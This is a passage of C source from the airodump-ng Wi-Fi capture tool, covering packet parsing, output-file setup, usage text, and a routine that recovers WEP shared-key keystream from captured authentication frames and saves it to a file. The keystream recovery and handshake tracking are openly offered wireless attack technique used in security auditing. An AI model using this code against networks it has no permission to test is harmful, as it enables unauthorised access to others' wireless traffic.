memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = G.sk_len; if(textlen+4 != G.sk_len2) { snprintf(G.message, sizeof(G.message), "][ Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X ", *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5)); return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, G.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ G.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = G.sharedkey[1][24] & 0xFF; prga[1] = G.sharedkey[1][25] & 0xFF; prga[2] = G.sharedkey[1][26] & 0xFF; prga[3] = G.sharedkey[1][27] & 0xFF; if( G.f_xor != NULL ) { fclose(G.f_xor); G.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", G.prefix, G.f_index, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5), "xor" ); G.f_xor = fopen( ofn, "w"); if(G.f_xor == NULL) return 1; for(n=0; n<textlen+8; n++) fputc((prga[n] & 0xFF), G.f_xor); fflush(G.f_xor); if( G.f_xor != NULL ) { fclose(G.f_xor); G.f_xor = NULL; } snprintf(G.message, sizeof(G.message), "][ %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X ", textlen+4, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5)); memset(G.sharedkey, '\x00', 512*3); /* ok, keystream saved */ return 0; } char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airodump-ng <options> <interface>[,<interface>,...]\n" "\n" " Options:\n" " --ivs : Save only captured IVs\n" " --gpsd : Use GPSd\n" " --write <prefix> : Dump file prefix\n" " -w : same as --write \n" " --beacons : Record all beacons in dump file\n" " --update <secs> : Display update delay in seconds\n" " --showack : Prints ack/cts/rts statistics\n" " -h : Hides known stations for --showack\n" " -f <msecs> : Time in ms between hopping channels\n" " --berlin <secs> : Time before removing the AP/client\n" " from the screen when no more packets\n" " are received (Default: 120 seconds)\n" " -r <file> : Read packets from that file\n" " -x <msecs> : Active Scanning Simulation\n" " --manufacturer : Display manufacturer from IEEE OUI list\n" " --uptime : Display AP Uptime from Beacon Timestamp\n" " --output-format\n" " <formats> : Output format. Possible values:\n" " pcap, ivs, csv, gps, kismet, netxml\n" " --ignore-negative-one : Removes the message that says\n" " fixed channel <interface>: -1\n" "\n" " Filter options:\n" " --encrypt <suite> : Filter APs by cipher suite\n" " --netmask <netmask> : Filter APs by mask\n" " --bssid <bssid> : Filter APs by BSSID\n" " --essid <essid> : Filter APs by ESSID\n" #ifdef HAVE_PCRE " --essid-regex <regex> : Filter APs by ESSID using a regular\n" " expression\n" #endif " -a : Filter unassociated clients\n" "\n" " By default, airodump-ng hop on 2.4GHz channels.\n" " You can make it capture on other/specific channel(s) by using:\n" " --channel <channels> : Capture on specific channels\n" " --band <abg> : Band on which airodump-ng should hop\n" " -C <frequencies> : Uses these frequencies in MHz to hop\n" " --cswitch <method> : Set channel switching method\n" " 0 : FIFO (default)\n" " 1 : Round Robin\n" " 2 : Hop on last\n" " -s : same as --cswitch\n" "\n" " --help : Displays this usage screen\n" "\n"; int is_filtered_netmask(unsigned char *bssid) { unsigned char mac1[6]; unsigned char mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & G.f_netmask[i]; mac2[i] = G.f_bssid[i] & G.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int is_filtered_essid(unsigned char *essid) { int ret = 0; int i; if(G.f_essid) { for(i=0; i<G.f_essid_count; i++) { if(strncmp((char*)essid, G.f_essid[i], MAX_IE_ELEMENT_SIZE) == 0) { return 0; } } ret = 1; } #ifdef HAVE_PCRE if(G.f_essid_regex) { return pcre_exec(G.f_essid_regex, NULL, (char*)essid, strnlen((char *)essid, MAX_IE_ELEMENT_SIZE), 0, 0, NULL, 0) < 0; } #endif return ret; } void update_rx_quality( ) { unsigned int time_diff, capt_time, miss_time; int missed_frames; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct timeval cur_time; ap_cur = G.ap_1st; st_cur = G.st_1st; gettimeofday( &cur_time, NULL ); /* accesspoints */ while( ap_cur != NULL ) { time_diff = 1000000 * (cur_time.tv_sec - ap_cur->ftimer.tv_sec ) + (cur_time.tv_usec - ap_cur->ftimer.tv_usec); /* update every `QLT_TIME`seconds if the rate is low, or every 500ms otherwise */ if( (ap_cur->fcapt >= QLT_COUNT && time_diff > 500000 ) || time_diff > (QLT_TIME * 1000000) ) { /* at least one frame captured */ if(ap_cur->fcapt > 1) { capt_time = ( 1000000 * (ap_cur->ftimel.tv_sec - ap_cur->ftimef.tv_sec ) //time between first and last captured frame + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec) ); miss_time = ( 1000000 * (ap_cur->ftimef.tv_sec - ap_cur->ftimer.tv_sec ) //time between timer reset and first frame + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec) ) + ( 1000000 * (cur_time.tv_sec - ap_cur->ftimel.tv_sec ) //time between last frame and this moment + (cur_time.tv_usec - ap_cur->ftimel.tv_usec) ); //number of frames missed at the time where no frames were captured; extrapolated by assuming a constant framerate if(capt_time > 0 && miss_time > 200000) { missed_frames = ((float)((float)miss_time/(float)capt_time) * ((float)ap_cur->fcapt + (float)ap_cur->fmiss)); ap_cur->fmiss += missed_frames; } ap_cur->rx_quality = ((float)((float)ap_cur->fcapt / ((float)ap_cur->fcapt + (float)ap_cur->fmiss)) * 100.0); } else ap_cur->rx_quality = 0; /* no packets -> zero quality */ /* normalize, in case the seq numbers are not iterating */ if(ap_cur->rx_quality > 100) ap_cur->rx_quality = 100; if(ap_cur->rx_quality < 0 ) ap_cur->rx_quality = 0; /* reset variables */ ap_cur->fcapt = 0; ap_cur->fmiss = 0; gettimeofday( &(ap_cur->ftimer) ,NULL); } ap_cur = ap_cur->next; } /* stations */ while( st_cur != NULL ) { time_diff = 1000000 * (cur_time.tv_sec - st_cur->ftimer.tv_sec ) + (cur_time.tv_usec - st_cur->ftimer.tv_usec); if( time_diff > 10000000 ) { st_cur->missed = 0; gettimeofday( &(st_cur->ftimer), NULL ); } st_cur = st_cur->next; } } /* setup the output files */ int dump_initialize( char *prefix, int ivs_only ) { int i, ofn_len; FILE *f; char * ofn = NULL; /* If you only want to see what happening, send all data to /dev/null */ if ( prefix == NULL || strlen( prefix ) == 0) { return( 0 ); } /* Create a buffer of the length of the prefix + '-' + 2 numbers + '.' + longest extension ("kismet.netxml") + terminating 0. */ ofn_len = strlen(prefix) + 1 + 2 + 1 + 13 + 1; ofn = (char *)calloc(1, ofn_len); G.f_index = 1; /* Make sure no file with the same name & all possible file extensions. */ do { for( i = 0; i < NB_EXTENSIONS; i++ ) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, f_ext[i] ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); G.f_index++; break; } } } /* If we did all extensions then no file with that name or extension exist so we can use that number */ while( i < NB_EXTENSIONS ); G.prefix = (char *) malloc(strlen(prefix) + 1); memcpy(G.prefix, prefix, strlen(prefix) + 1); /* create the output CSV file */ if (G.output_format_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CSV_EXT ); if( ( G.f_txt = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output Kismet CSV file */ if (G.output_format_kismet_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_CSV_EXT ); if( ( G.f_kis = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output GPS file */ if (G.usegpsd) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_GPS_EXT ); if( ( G.f_gps = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* Create the output kismet.netxml file */ if (G.output_format_kismet_netxml) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_NETXML_EXT ); if( ( G.f_kis_xml = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output packet capture file */ if( G.output_format_pcap ) { struct pcap_file_header pfh; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CAP_EXT ); if( ( G.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } G.f_cap_name = (char *) malloc( strlen( ofn ) + 1 ); memcpy( G.f_cap_name, ofn, strlen( ofn ) + 1 ); free( ofn ); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), G.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } else if ( ivs_only ) { struct ivs2_filehdr fivs2; fivs2.version = IVS2_VERSION; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, IVS2_EXTENSION ); if( ( G.f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } free( ofn ); if( fwrite( IVS2_MAGIC, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); return( 1 ); } } return( 0 ); } int update_dataps() { struct timeval tv; struct AP_info *ap_cur; struct NA_info *na_cur; int sec, usec, diff, ps; float pause; gettimeofday(&tv, NULL); ap_cur = G.ap_end; while( ap_cur != NULL ) { sec = (tv.tv_sec - ap_cur->tv.tv_sec); usec = (tv.tv_usec - ap_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = ap_cur->nb_data - ap_cur->nb_data_old; ps = (int)(((float)diff)/pause); ap_cur->nb_dataps = ps; ap_cur->nb_data_old = ap_cur->nb_data; gettimeofday(&(ap_cur->tv), NULL); } ap_cur = ap_cur->prev; } na_cur = G.na_1st; while( na_cur != NULL ) { sec = (tv.tv_sec - na_cur->tv.tv_sec); usec = (tv.tv_usec - na_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = na_cur->ack - na_cur->ack_old; ps = (int)(((float)diff)/pause); na_cur->ackps = ps; na_cur->ack_old = na_cur->ack; gettimeofday(&(na_cur->tv), NULL); } na_cur = na_cur->next; } return(0); } int list_tail_free(struct pkt_buf **list) { struct pkt_buf **pkts; struct pkt_buf *next; if(list == NULL) return 1; pkts = list; while(*pkts != NULL) { next = (*pkts)->next; if( (*pkts)->packet ) { free( (*pkts)->packet); (*pkts)->packet=NULL; } if(*pkts) { free(*pkts); *pkts = NULL; } *pkts = next; } *list=NULL; return 0; } int list_add_packet(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; if(length <= 0) return 1; if(packet == NULL) return 1; if(list == NULL) return 1; *list = (struct pkt_buf*) malloc(sizeof(struct pkt_buf)); if( *list == NULL ) return 1; (*list)->packet = (unsigned char*) malloc(length); if( (*list)->packet == NULL ) return 1; memcpy((*list)->packet, packet, length); (*list)->next = next; (*list)->length = length; gettimeofday( &((*list)->ctime), NULL); return 0; } /* * Check if the same IV was used if the first two bytes were the same. * If they are not identical, it would complain. * The reason is that the first two bytes unencrypted are 'aa' * so with the same IV it should always be encrypted to the same thing. */ int list_check_decloak(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; struct timeval tv1; int timediff; int i, correct; if( packet == NULL) return 1; if( list == NULL ) return 1; if( *list == NULL ) return 1; if( length <= 0) return 1; gettimeofday(&tv1, NULL); timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - ((*list)->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(list); next=NULL; } while(next != NULL) { if(next->next != NULL) { timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - (next->next->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(&(next->next)); break; } } if( (next->length + 4) == length) { correct = 1; // check for 4 bytes added after the end for(i=28;i<length-28;i++) //check everything (in the old packet) after the IV (including crc32 at the end) { if(next->packet[i] != packet[i]) { correct = 0; break; } } if(!correct) { correct = 1; // check for 4 bytes added at the beginning for(i=28;i<length-28;i++) //check everything (in the old packet) after the IV (including crc32 at the end) { if(next->packet[i] != packet[4+i]) { correct = 0; break; } } } if(correct == 1) return 0; //found decloaking! } next = next->next; } return 1; //didn't find decloak } int remove_namac(unsigned char* mac) { struct NA_info *na_cur = NULL; struct NA_info *na_prv = NULL; if(mac == NULL) return( -1 ); na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, mac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* if it's known, remove it */ if( na_cur != NULL ) { /* first in linked list */ if(na_cur == G.na_1st) { G.na_1st = na_cur->next; } else { na_prv->next = na_cur->next; } free(na_cur); na_cur=NULL; } return( 0 ); } int dump_add_packet( unsigned char *h80211, int caplen, struct rx_info *ri, int cardnum ) { int i, n, seq, msd, dlen, offset, clen, o; unsigned z; int type, length, numuni=0, numauth=0; struct pcap_pkthdr pkh; struct timeval tv; struct ivs2_pkthdr ivs2; unsigned char *p, *org_p, c; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char namac[6]; unsigned char clear[2048]; int weight[16]; int num_xor=0; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct NA_info *na_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; struct NA_info *na_prv = NULL; /* skip all non probe response frames in active scanning simulation mode */ if( G.active_scan_sim > 0 && h80211[0] != 0x50 ) return(0); /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) goto write_packet; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto write_packet; /* if it's a LLC null packet, just forget it (may change in the future) */ if ( caplen > 28) if ( memcmp(h80211 + 24, llcnull, 4) == 0) return ( 0 ); /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { if( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) return(1); } else { if( memcmp(G.f_bssid, bssid, 6) != 0 ) return(1); } } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(bssid); memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); if (ap_cur->manuf == NULL) { ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); } ap_cur->prev = ap_prv; ap_cur->tinit = time( NULL ); ap_cur->tlast = time( NULL ); ap_cur->avg_power = -1; ap_cur->best_power = -1; ap_cur->power_index = -1; for( i = 0; i < NB_PWR; i++ ) ap_cur->power_lvl[i] = -1; ap_cur->channel = -1; ap_cur->max_speed = -1; ap_cur->security = 0; ap_cur->uiv_root = uniqueiv_init(); ap_cur->nb_dataps = 0; ap_cur->nb_data_old = 0; gettimeofday(&(ap_cur->tv), NULL); ap_cur->dict_started = 0; ap_cur->key = NULL; G.ap_end = ap_cur; ap_cur->nb_bcn = 0; ap_cur->rx_quality = 0; ap_cur->fcapt = 0; ap_cur->fmiss = 0; ap_cur->last_seq = 0; gettimeofday( &(ap_cur->ftimef), NULL); gettimeofday( &(ap_cur->ftimel), NULL); gettimeofday( &(ap_cur->ftimer), NULL); ap_cur->ssid_length = 0; ap_cur->essid_stored = 0; ap_cur->timestamp = 0; ap_cur->decloak_detect=G.decloak; ap_cur->is_decloak = 0; ap_cur->packets = NULL; ap_cur->marked = 0; ap_cur->marked_color = 1; ap_cur->data_root = NULL; ap_cur->EAP_detected = 0; memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } /* update the last time seen */ ap_cur->tlast = time( NULL ); /* only update power if packets comes from * the AP: either type == mgmt and SA != BSSID, * or FromDS == 1 and ToDS == 0 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) == 0 ) || ( ( h80211[1] & 3 ) == 2 ) ) { ap_cur->power_index = ( ap_cur->power_index + 1 ) % NB_PWR; ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power; ap_cur->avg_power = 0; for( i = 0, n = 0; i < NB_PWR; i++ ) { if( ap_cur->power_lvl[i] != -1 ) { ap_cur->avg_power += ap_cur->power_lvl[i]; n++; } } if( n > 0 ) { ap_cur->avg_power /= n; if( ap_cur->avg_power > ap_cur->best_power ) { ap_cur->best_power = ap_cur->avg_power; memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } } else ap_cur->avg_power = -1; /* every packet in here comes from the AP */ if(G.gps_loc[0] > ap_cur->gps_loc_max[0]) ap_cur->gps_loc_max[0] = G.gps_loc[0]; if(G.gps_loc[1] > ap_cur->gps_loc_max[1]) ap_cur->gps_loc_max[1] = G.gps_loc[1]; if(G.gps_loc[2] > ap_cur->gps_loc_max[2]) ap_cur->gps_loc_max[2] = G.gps_loc[2]; if(G.gps_loc[0] < ap_cur->gps_loc_min[0]) ap_cur->gps_loc_min[0] = G.gps_loc[0]; if(G.gps_loc[1] < ap_cur->gps_loc_min[1]) ap_cur->gps_loc_min[1] = G.gps_loc[1]; if(G.gps_loc[2] < ap_cur->gps_loc_min[2]) ap_cur->gps_loc_min[2] = G.gps_loc[2]; // printf("seqnum: %i\n", seq); if(ap_cur->fcapt == 0 && ap_cur->fmiss == 0) gettimeofday( &(ap_cur->ftimef), NULL); if(ap_cur->last_seq != 0) ap_cur->fmiss += (seq - ap_cur->last_seq - 1); ap_cur->last_seq = seq; ap_cur->fcapt++; gettimeofday( &(ap_cur->ftimel), NULL); // if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality(); } if( h80211[0] == 0x80 ) { ap_cur->nb_bcn++; } ap_cur->nb_pkt++; /* find wpa handshake */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL && st_cur->wpa.state != 0xFF ) st_cur->wpa.state = 0; // printf("initial auth %d\n", ap_cur->wpa_state); } /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(stmac); memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); if (st_cur->manuf == NULL) { st_cur->manuf = get_manufacturer(st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]); } st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; st_cur->qos_fr_ds = 0; st_cur->qos_to_ds = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; //update bitrate to station if( (st_cur != NULL) && ( h80211[1] & 3 ) == 2 ) st_cur->rate_to = ri->ri_rate; /* update the last time seen */ st_cur->tlast = time( NULL ); /* only update power if packets comes from the * client: either type == Mgmt and SA != BSSID, * or FromDS == 0 and ToDS == 1 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) != 0 ) || ( ( h80211[1] & 3 ) == 1 ) ) { st_cur->power = ri->ri_power; st_cur->rate_from = ri->ri_rate; if(st_cur->lastseq != 0) { msd = seq - st_cur->lastseq - 1; if(msd > 0 && msd < 1000) st_cur->missed += msd; } st_cur->lastseq = seq; } st_cur->nb_pkt++; skip_station: /* packet parsing: Probe Request */ if( h80211[0] == 0x40 && st_cur != NULL ) { p = h80211 + 24; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; for( i = 0; i < n; i++ ) if( p[2 + i] > 0 && p[2 + i] < ' ' ) goto skip_probe; /* got a valid ASCII probed ESSID, check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], p + 2, n ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], p + 2, n ); //twice?! st_cur->ssid_length[st_cur->probe_index] = n; for( i = 0; i < n; i++ ) { c = p[2 + i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } } p += 2 + p[1]; } } skip_probe: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( !(ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) ) { if( ( h80211[34] & 0x10 ) >> 4 ) ap_cur->security |= STD_WEP|ENC_WEP; else ap_cur->security |= STD_OPN; } ap_cur->preamble = ( h80211[34] & 0x20 ) >> 5; unsigned long long *tstamp = (unsigned long long *) (h80211 + 24); ap_cur->timestamp = letoh64(*tstamp); p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; //only update the essid length if the new length is > the old one if( p[0] == 0x00 && (ap_cur->ssid_length < p[1]) ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } /* get the maximum speed in Mb and the AP's channel */ if( p[0] == 0x01 || p[0] == 0x32 ) { if(ap_cur->max_speed < ( p[1 + p[1]] & 0x7F ) / 2) ap_cur->max_speed = ( p[1 + p[1]] & 0x7F ) / 2; } if( p[0] == 0x03 ) ap_cur->channel = p[2]; p += 2 + p[1]; } } /* packet parsing: Beacon & Probe response */ if( (h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38) { p=h80211+36; //ignore hdr + fixed params while( p < h80211 + caplen ) { type = p[0]; length = p[1]; if(p+2+length > h80211 + caplen) { /* printf("error parsing tags! %p vs. %p (tag: %i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen), type, length, (p-h80211)); exit(1);*/ break; } if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x01\x01\x00", 6) == 0)) || (type == 0x30) ) { ap_cur->security &= ~(STD_WEP|ENC_WEP|STD_WPA); org_p = p; offset = 0; if(type == 0xDD) { //WPA defined in vendor specific tag -> WPA1 support ap_cur->security |= STD_WPA; offset = 4; } if(type == 0x30) { ap_cur->security |= STD_WPA2; offset = 0; } if(length < (18+offset)) { p += length+2; continue; } if( p+9+offset > h80211+caplen ) break; numuni = p[8+offset] + (p[9+offset]<<8); if( p+ (11+offset) + 4*numuni > h80211+caplen) break; numauth = p[(10+offset) + 4*numuni] + (p[(11+offset) + 4*numuni]<<8); p += (10+offset); if(type != 0x30) { if( p + (4*numuni) + (2+4*numauth) > h80211+caplen) break; } else { if( p + (4*numuni) + (2+4*numauth) + 2 > h80211+caplen) break; } for(i=0; i<numuni; i++) { switch(p[i*4+3]) { case 0x01: 